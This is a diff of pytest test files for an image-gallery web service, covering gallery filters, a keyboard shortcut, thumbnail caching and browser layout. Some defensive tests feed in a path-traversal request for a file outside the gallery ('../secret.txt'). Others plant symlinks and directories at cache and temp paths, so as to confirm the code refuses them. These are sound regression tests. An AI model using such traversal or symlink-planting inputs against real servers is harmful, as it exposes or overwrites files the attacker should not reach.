assert got == {"x": "a/x1.png", "y": "a/y1.png"}, got
|
||||
|
||||
|
||||
def test_a_group_row_reports_its_own_size(grouped):
|
||||
"""HULDA's guard table: `len(v)` -> `len(v) + 1` survived every assertion.
|
||||
The counts were rendered and never checked."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
counts = re.findall(r'class="rail-g"[^>]*>\s*(\S+)\s*<b>(\d+)</b>', body, re.S)
|
||||
assert dict((k, int(v)) for k, v in counts) == {"x": 2, "y": 2}
|
||||
|
||||
|
||||
def test_the_informativeness_guard_reads_the_middle_not_the_largest(tmp_path):
|
||||
"""HULDA's guard table: `sizes[len(sizes)//2]` -> `sizes[-1]` survived,
|
||||
because no fixture distinguished the middle group from the biggest one.
|
||||
|
||||
Three singletons and one group of four: the largest is 4, the upper median
|
||||
is 1. The rail must be ABSENT — a rail whose rows are three-quarters
|
||||
single tiles is the second-copy-of-the-grid degeneracy."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("p1.png", "q1.png", "r1.png",
|
||||
"z1.png", "z2.png", "z3.png", "z4.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert 'class="rail-groups"' not in c.get("/b/g/").text
|
||||
|
||||
|
||||
def test_a_filter_that_matches_nothing_leaves_a_way_back(tmp_path):
|
||||
"""GRÓA's strongest solo, and in her words the finding most likely to bite
|
||||
users this week.
|
||||
|
||||
`{% elif items %}` gated the ENTIRE rail on the FILTERED list, so a valid
|
||||
filter with zero hits removed the rail, the filter links, and the way back
|
||||
to `all` — and the empty-booth branch then announced the booth was empty
|
||||
while `rail.total` held the real count. No recovery without editing the
|
||||
address bar, and it degraded the same way with JavaScript off.
|
||||
|
||||
⚠ THE FIXTURE MUST ACTUALLY HAVE NO HITS. The first version of this test
|
||||
used the shared `gallery` fixture, which carries one of each mark — so
|
||||
`?filter=flagged` returned one tile and the test passed without ever
|
||||
reaching the state it names. Four unmarked images; every filter but `all`
|
||||
is empty.
|
||||
|
||||
Defeating change: gating the rail on `items` instead of `all_items`."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.png", "d.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
for flt in ("flagged", "annotated", "unanswered"):
|
||||
body = c.get(f"/b/g/?filter={flt}").text
|
||||
assert _tiles(body) == [], flt
|
||||
assert 'class="rail"' in body, f"{flt}: the rail vanished with the filtered list"
|
||||
assert 'href="/b/g/"' in body, f"{flt}: no way back to `all`"
|
||||
assert "This booth is empty" not in body, f"{flt}: an empty FILTER is not an empty booth"
|
||||
assert "4 items" in body, f"{flt}: the rail must still report the real total"
|
||||
|
||||
|
||||
def test_an_empty_booth_still_says_it_is_empty(tmp_path):
|
||||
"""The negative control for the test above: the empty-booth message must
|
||||
survive the fix that stops a filter from triggering it."""
|
||||
b = tmp_path / "hollow"
|
||||
b.mkdir()
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
body = c.get("/b/hollow/").text
|
||||
assert "This booth is empty" in body
|
||||
assert 'class="rail"' not in body
|
||||
|
||||
|
||||
def test_the_keyboard_flag_targets_a_real_button(gallery):
|
||||
"""HULDA: the `f` handler selected `.flagbtn, [name="target"]`. No element
|
||||
in this repo has ever had class `flagbtn`, so it fell through to the HIDDEN
|
||||
target input — and clicking a hidden input does not submit its form. The
|
||||
shortcut has never worked, while still calling preventDefault and
|
||||
swallowing the keystroke.
|
||||
|
||||
Asserted against the markup the macro actually emits."""
|
||||
import re
|
||||
c, _ = gallery
|
||||
body = c.get("/b/g/").text
|
||||
assert 'class="flagtoggle' in body, "the flag form is not what this thinks"
|
||||
|
||||
# THE SELECTOR ITSELF, not the whole page — the first version asserted
|
||||
# `"flagbtn" not in body` and went red on the code COMMENT explaining the
|
||||
# bug. An assertion that cannot tell markup from prose about markup is not
|
||||
# asserting about markup.
|
||||
sel = re.search(r"case 'f': click\((.*?)\);", body)
|
||||
assert sel, "the `f` handler is gone"
|
||||
assert "flagbtn" not in sel.group(1), "the selector names a class nothing emits"
|
||||
assert ".flagtoggle button" in sel.group(1), \
|
||||
"the key handler must click the flag form's real submit button"
|
||||
|
||||
@@ -0,0 +1,376 @@
|
||||
"""Thumbnails — the fix for a gallery that shipped 77 MB to render 250px tiles.
|
||||
|
||||
The operator found this in about a minute of using the live Desk. ROADMAP had
|
||||
parked it on "the largest gallery is 66 images", which counted IMAGES and never
|
||||
weighed BYTES; 66 is a fine count sitting on a terrible payload.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import io
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
from booth.items import booth_items # noqa: E402
|
||||
from booth.thumbs import ( # noqa: E402
|
||||
THUMB_DIR,
|
||||
THUMB_HEIGHT_MAX,
|
||||
THUMB_LIGHT_BYTES,
|
||||
THUMB_WIDTH,
|
||||
ensure_thumb,
|
||||
thumb_path,
|
||||
wants_thumb,
|
||||
)
|
||||
|
||||
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
|
||||
|
||||
|
||||
def _img(path: pathlib.Path, w: int, h: int, fmt="PNG"):
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
PIL.new("RGB", (w, h), (120, 30, 90)).save(path, fmt)
|
||||
return path
|
||||
|
||||
|
||||
def test_a_big_image_gets_a_much_smaller_thumbnail(tmp_path):
|
||||
"""The whole point, asserted in BYTES rather than in existence — a thumbnail
|
||||
that is not dramatically smaller has not fixed anything."""
|
||||
b = tmp_path / "g"
|
||||
src = _img(b / "big.png", 1024, 1024)
|
||||
out = ensure_thumb(b, "big.png")
|
||||
assert out is not None and out.is_file()
|
||||
w, h = PIL.open(out).size
|
||||
assert w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
|
||||
assert out.stat().st_size * 4 < src.stat().st_size, (
|
||||
f"thumb {out.stat().st_size}B vs source {src.stat().st_size}B — not worth the cache"
|
||||
)
|
||||
|
||||
|
||||
def test_an_already_small_image_gets_no_thumbnail(tmp_path):
|
||||
"""Serving the original is correct when it is already tile-sized AND already
|
||||
light. A cache entry that saves nothing is pure cost.
|
||||
|
||||
Defeating change: generating unconditionally."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "small.png", 200, 200)
|
||||
assert ensure_thumb(b, "small.png") is None
|
||||
|
||||
|
||||
def test_the_cache_lives_inside_the_booth_and_is_invisible(tmp_path):
|
||||
"""`.thumbs/` is inside the booth so it is swept with it — a cache that
|
||||
outlives what it describes is a leak. And it must not become gallery items
|
||||
or zip entries: both skip every dot-prefixed path COMPONENT, which they did
|
||||
not do until this module needed them to."""
|
||||
import zipfile
|
||||
|
||||
from booth.app import zip_booth
|
||||
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
ensure_thumb(b, "big.png")
|
||||
assert (b / THUMB_DIR).is_dir(), "the cache is not inside the booth"
|
||||
assert [i.rel for i in booth_items(b)] == ["big.png"]
|
||||
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["big.png"]
|
||||
|
||||
|
||||
def test_a_damaged_image_costs_its_own_tile_not_the_page(tmp_path):
|
||||
"""NEVER RAISES. A thumbnail is an optimisation; a page that will not load
|
||||
is worse than one that loads slowly.
|
||||
|
||||
Defeating change: letting the Pillow exception out."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "lies.png").write_bytes(b"\x89PNG\r\n\x1a\n" + b"not an image at all" * 20)
|
||||
assert ensure_thumb(b, "lies.png") is None
|
||||
|
||||
|
||||
def test_a_stale_thumbnail_is_rebuilt(tmp_path):
|
||||
"""Editing a file in place must not leave the old thumbnail forever."""
|
||||
import os
|
||||
|
||||
b = tmp_path / "g"
|
||||
_img(b / "x.png", 1024, 1024)
|
||||
first = ensure_thumb(b, "x.png")
|
||||
before = first.stat().st_mtime_ns
|
||||
_img(b / "x.png", 900, 900)
|
||||
os.utime(b / "x.png", None)
|
||||
again = ensure_thumb(b, "x.png")
|
||||
assert again.stat().st_mtime_ns != before, "the stale thumbnail survived an edit"
|
||||
|
||||
|
||||
def test_only_thumbable_types_are_candidates():
|
||||
"""SVG is vector and Pillow cannot read it; a video is not an image."""
|
||||
assert wants_thumb("a.png") and wants_thumb("A.JPG") and wants_thumb("a.webp")
|
||||
assert not wants_thumb("a.svg") and not wants_thumb("a.webm") and not wants_thumb("a.txt")
|
||||
|
||||
|
||||
def test_the_item_record_carries_the_thumb_url(tmp_path):
|
||||
"""INV-1: the resolver decides whether an item has a thumbnail. No template
|
||||
appends `?thumb=1` by reasoning about `kind` itself."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
_img(b / "vec.svg", 10, 10) if False else (b / "vec.svg").write_text("<svg/>")
|
||||
by = {i.rel: i for i in booth_items(b)}
|
||||
assert by["big.png"].thumb == "big.png?thumb=1"
|
||||
assert by["vec.svg"].thumb is None
|
||||
|
||||
|
||||
def test_the_route_serves_the_thumbnail_and_the_original(tmp_path):
|
||||
"""?thumb=1 rides the EXISTING file route, so it inherits that route's
|
||||
traversal guard rather than growing a second one."""
|
||||
b = tmp_path / "g"
|
||||
src = _img(b / "big.png", 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
full = c.get("/b/g/big.png")
|
||||
thumb = c.get("/b/g/big.png?thumb=1")
|
||||
assert full.status_code == thumb.status_code == 200
|
||||
assert len(thumb.content) * 4 < len(full.content), "the route served the full image"
|
||||
assert len(full.content) == src.stat().st_size
|
||||
|
||||
|
||||
def test_the_gallery_tile_requests_the_thumbnail(tmp_path):
|
||||
"""The operator's actual complaint: the grid pulled full-resolution files."""
|
||||
b = tmp_path / "g"
|
||||
for n in ("a.png", "b.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/g/").text
|
||||
assert 'src="a.png?thumb=1"' in html, "the tile still asks for the full image"
|
||||
|
||||
|
||||
def test_a_thumb_request_for_a_traversal_path_is_still_refused(tmp_path):
|
||||
"""The guard is the file route's, and it must not be weakened by the new
|
||||
query parameter."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
(tmp_path / "secret.txt").write_text("nope")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert c.get("/b/g/../secret.txt?thumb=1").status_code in (404, 400)
|
||||
|
||||
|
||||
def test_the_filmstrip_and_tray_use_thumbnails_but_the_stage_does_not(tmp_path):
|
||||
"""The same 77 MB in a different place. The filmstrip shows EVERY ring item
|
||||
at a few dozen pixels, so full-resolution frames there are worse than the
|
||||
grid was — while the stage is the full-size review and must stay full size.
|
||||
|
||||
Defeating change: `x.url` in the filmstrip, or `it.thumb` on the stage."""
|
||||
b = tmp_path / "g"
|
||||
for n in ("a.png", "b.png", "c.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/g/view?f=a.png").text
|
||||
|
||||
assert 'id="vimg" src="a.png"' in html, "the stage must serve the full image"
|
||||
assert 'src="b.png?thumb=1"' in html, "the filmstrip still pulls full images"
|
||||
assert 'src="b.png"' not in html.replace('src="b.png?thumb=1"', ""), \
|
||||
"a full-size frame survived in the strip"
|
||||
|
||||
|
||||
def test_the_desk_preview_strip_uses_thumbnails(tmp_path):
|
||||
"""The heaviest surface in the service, on the page he opens FIRST: four
|
||||
small images per booth, across every booth. design-dev measured 28
|
||||
originals / 24.1 MB on a 12-booth copy; live has 28 booths.
|
||||
|
||||
Defeating change: `it.url` in the preview tuple."""
|
||||
for name in ("one", "two"):
|
||||
b = tmp_path / name
|
||||
for n in ("a.png", "b.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/").text
|
||||
assert 'src="/b/one/a.png?thumb=1"' in html, "the Desk strip still pulls full images"
|
||||
assert 'src="/b/one/a.png"' not in html
|
||||
|
||||
|
||||
# ---- sized for the tile's WIDTH, at 2x density ---------------------------------
|
||||
#
|
||||
# The operator, on sindra-nude-final: "the images look blurry until they're
|
||||
# selected and blown up". The cap was 512 on the LONGEST side, but a tile is sized
|
||||
# by its WIDTH, so a 704x1408 portrait got a 256px-wide thumbnail stretched into
|
||||
# a 361px tile: 1.4x at 1x density, 2.8x on a 2x screen.
|
||||
|
||||
|
||||
def _noise(path: pathlib.Path, w: int, h: int):
|
||||
"""A photographic-weight image: incompressible, so its bytes are realistic.
|
||||
A flat colour compresses to almost nothing and would take the light path."""
|
||||
import os
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
PIL.frombytes("RGB", (w, h), os.urandom(w * h * 3)).save(path, "PNG")
|
||||
return path
|
||||
|
||||
|
||||
def test_a_portrait_keeps_its_full_width(tmp_path):
|
||||
"""Defeating change: bounding the longest side, which gave this image 256px
|
||||
of width for a tile that shows 361."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out is not None
|
||||
assert PIL.open(out).size == (704, 1408)
|
||||
|
||||
|
||||
def test_a_wide_image_is_bounded_by_width(tmp_path):
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "w.png", 2048, 1024)
|
||||
out = ensure_thumb(b, "w.png")
|
||||
assert PIL.open(out).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
|
||||
|
||||
|
||||
def test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail(tmp_path):
|
||||
"""Fitting the tile in PIXELS is not being light in BYTES: a 704x1408 PNG is
|
||||
about a megabyte, and serving it as its own thumbnail would undo the cache.
|
||||
Defeating change: skipping every image that fits the bounds."""
|
||||
b = tmp_path / "g"
|
||||
src = _noise(b / "p.png", 704, 1408)
|
||||
assert src.stat().st_size > THUMB_LIGHT_BYTES
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out is not None and out.stat().st_size < src.stat().st_size
|
||||
|
||||
|
||||
def test_an_extremely_tall_image_is_bounded_by_height_too(tmp_path):
|
||||
"""Width alone would let a long screenshot through at full height."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "t.png", 300, THUMB_HEIGHT_MAX * 2)
|
||||
w, h = PIL.open(ensure_thumb(b, "t.png")).size
|
||||
assert h <= THUMB_HEIGHT_MAX and w <= 150
|
||||
|
||||
|
||||
def test_an_animated_gif_that_fits_is_served_as_itself(tmp_path):
|
||||
"""A thumbnail is one frame. A heavy GIF that already fits the tile used to
|
||||
be served whole (it was under the old cap) and must stay animated.
|
||||
Defeating change: dropping the animation guard on the fits-but-heavy path."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
frames = [PIL.frombytes("RGB", (300, 300), os.urandom(300 * 300 * 3)) for _ in range(3)]
|
||||
frames[0].save(b / "a.gif", save_all=True, append_images=frames[1:])
|
||||
assert (b / "a.gif").stat().st_size > THUMB_LIGHT_BYTES
|
||||
assert ensure_thumb(b, "a.gif") is None
|
||||
|
||||
|
||||
def test_a_thumbnail_cut_to_the_old_rule_is_not_served(tmp_path):
|
||||
"""The live booths hold 512-cap thumbnails that are NEWER than their
|
||||
sources, so the mtime check alone would serve them forever. The size rule
|
||||
is in the cache name, so a thumbnail cut to another rule is simply not
|
||||
found. Defeating change: an unversioned cache name."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
legacy = b / THUMB_DIR / "p.png.webp"
|
||||
legacy.parent.mkdir(parents=True)
|
||||
PIL.new("RGB", (256, 512)).save(legacy, "WEBP")
|
||||
os.utime(legacy, None)
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out == thumb_path(b, "p.png") and out != legacy
|
||||
assert PIL.open(out).size == (704, 1408)
|
||||
|
||||
|
||||
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
|
||||
#
|
||||
# The cache sits in a directory any fleet session can write into, so every entry
|
||||
# on the way to it may be planted. The new size rules only governed cache MISSES;
|
||||
# the hit path trusted a name and an mtime.
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_cache_path_is_not_served(tmp_path):
|
||||
"""4/4, seat-executed: a directory at the cache path, with a future mtime,
|
||||
was returned AS the thumbnail. Defeating change: a cache hit that checks
|
||||
only the mtime."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
out = thumb_path(b, "p.png")
|
||||
out.mkdir(parents=True)
|
||||
os.utime(out, (2e9, 2e9))
|
||||
got = ensure_thumb(b, "p.png")
|
||||
assert got is None or got.is_file()
|
||||
|
||||
|
||||
def test_a_source_replaced_with_an_older_mtime_is_rebuilt(tmp_path):
|
||||
"""kimi: `cp -p` or an archive extract keeps an OLDER mtime, and a cache
|
||||
newer than its source was served forever. The cache now carries its
|
||||
source's exact mtime, so any change is a miss. Defeating change: `>=`."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
first = ensure_thumb(b, "p.png")
|
||||
assert PIL.open(first).size == (704, 1408)
|
||||
_noise(b / "p.png", 1536, 768)
|
||||
os.utime(b / "p.png", (1e9, 1e9)) # an older stamp than the cache
|
||||
assert PIL.open(ensure_thumb(b, "p.png")).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
|
||||
|
||||
|
||||
def test_a_symlinked_cache_dir_is_never_written_through(tmp_path):
|
||||
"""seat P4: `.thumbs` planted as a link to another directory put the cache
|
||||
outside the booth, beyond the sweep. Defeating change: `mkdir(parents=True)`,
|
||||
which follows an existing link."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
elsewhere = tmp_path / "elsewhere"
|
||||
elsewhere.mkdir()
|
||||
(b / THUMB_DIR).symlink_to(elsewhere)
|
||||
assert ensure_thumb(b, "p.png") is None
|
||||
assert list(elsewhere.iterdir()) == []
|
||||
|
||||
|
||||
def test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write(tmp_path):
|
||||
"""groa, seat P5: the temp name was `<out>.<pid>.tmp`, predictable, so a
|
||||
link planted there made the encoder truncate and overwrite its target
|
||||
(600 B -> 316,400 B). Defeating change: any predictable temp name."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
victim = tmp_path / "victim.txt"
|
||||
victim.write_text("untouched")
|
||||
out = thumb_path(b, "p.png")
|
||||
out.parent.mkdir(parents=True)
|
||||
(out.parent / (out.name + f".{os.getpid()}.tmp")).symlink_to(victim)
|
||||
ensure_thumb(b, "p.png")
|
||||
assert victim.read_text() == "untouched"
|
||||
|
||||
|
||||
def test_palette_transparency_survives_the_thumbnail(tmp_path):
|
||||
"""3/4, seat-executed, and INTRODUCED by this change: the fits-but-heavy
|
||||
branch newly re-encodes palette PNGs, and `getbands()` of mode P has no A
|
||||
even with a tRNS chunk, so transparency became opaque. Defeating change:
|
||||
choosing RGBA by `getbands()` alone."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
im = PIL.frombytes("P", (400, 400), os.urandom(400 * 400))
|
||||
im.putpalette(os.urandom(768))
|
||||
im.save(b / "p.png", "PNG", transparency=0)
|
||||
assert (b / "p.png").stat().st_size > THUMB_LIGHT_BYTES
|
||||
t = PIL.open(ensure_thumb(b, "p.png"))
|
||||
assert t.mode == "RGBA" and t.getchannel("A").getextrema()[0] == 0
|
||||
|
||||
|
||||
def test_a_camera_portrait_is_sized_and_saved_upright(tmp_path):
|
||||
"""groa, seat-verified: EXIF orientation was ignored, so a portrait shot
|
||||
stored sideways was sized as a landscape and tiled sideways. Defeating
|
||||
change: sizing the raw pixels without `exif_transpose`."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
exif = PIL.Exif()
|
||||
exif[0x0112] = 6 # rotate 90 CW to display
|
||||
PIL.frombytes("RGB", (1200, 800), os.urandom(1200 * 800 * 3)).save(
|
||||
b / "cam.jpg", "JPEG", exif=exif, quality=95)
|
||||
assert PIL.open(ensure_thumb(b, "cam.jpg")).size == (THUMB_WIDTH, 1152)
|
||||
|
||||
|
||||
def test_an_image_past_the_pixel_budget_is_never_decoded(tmp_path, monkeypatch):
|
||||
"""2/4: the header is free to read and `thumbnail()` then decodes whatever it
|
||||
claims, on every request, since a failure is not cached. Over the budget,
|
||||
the original is served instead. Defeating change: no budget check."""
|
||||
import booth.thumbs as thumbs
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
monkeypatch.setattr(thumbs, "THUMB_MAX_PIXELS", 704 * 1408 - 1)
|
||||
assert ensure_thumb(b, "p.png") is None
|
||||
@@ -0,0 +1,50 @@
|
||||
"""Thumbnails against the tile they are drawn into, in a real browser.
|
||||
|
||||
`THUMB_WIDTH` is derived from a LAYOUT number: the widest gallery tile on the
|
||||
desktop grid, doubled for a 2x screen. A Python test cannot see a CSS width, so
|
||||
without this file the constant and the grid could drift apart silently, which
|
||||
is how the tiles went soft in the first place. If the grid widens its tiles,
|
||||
this goes red and the constant is revisited, rather than the operator finding
|
||||
it by eye.
|
||||
|
||||
Scoped to the desktop layout (3 columns, 1440px and up), which is where tiles
|
||||
are measured at 321-361 CSS px. Narrower windows reflow to 2 columns (up to
|
||||
472 px) or 1 (up to 650 px): at 2x density those are softer than this bound
|
||||
covers, and that is a known limit, not a defect this file asserts against.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
|
||||
import pytest
|
||||
|
||||
from test_embed_browser import browser, live # noqa: F401 (fixtures)
|
||||
from booth.thumbs import THUMB_WIDTH
|
||||
|
||||
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
|
||||
|
||||
|
||||
@pytest.mark.parametrize("viewport", [(1440, 900), (1920, 1080), (2560, 1440)])
|
||||
def test_a_thumbnail_covers_its_tile_at_2x_density(browser, live, viewport): # noqa: F811
|
||||
base, root = live
|
||||
b = root / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.png"):
|
||||
PIL.frombytes("RGB", (1024, 1024), os.urandom(1024 * 1024 * 3)).save(b / n, "PNG")
|
||||
pg = browser.new_page(viewport={"width": viewport[0], "height": viewport[1]})
|
||||
try:
|
||||
pg.goto(f"{base}/b/g/", wait_until="load")
|
||||
pg.wait_for_function(
|
||||
"Array.from(document.querySelectorAll('.gallery .item img'))"
|
||||
".every(i => i.complete && i.naturalWidth)", timeout=15000)
|
||||
tiles = pg.evaluate(
|
||||
"Array.from(document.querySelectorAll('.gallery .item img'))"
|
||||
".map(i => [i.currentSrc, i.clientWidth, i.naturalWidth])")
|
||||
finally:
|
||||
pg.close()
|
||||
assert tiles, "no gallery tiles rendered"
|
||||
for src, shown, natural in tiles:
|
||||
assert "thumb=1" in src, f"{src} is not the thumbnail"
|
||||
assert natural >= 2 * shown, (
|
||||
f"{src}: a {shown}px tile needs {2 * shown}px at 2x, the thumbnail has {natural}px"
|
||||
f" (THUMB_WIDTH={THUMB_WIDTH})")
|
||||
Reference in New Issue
Block a user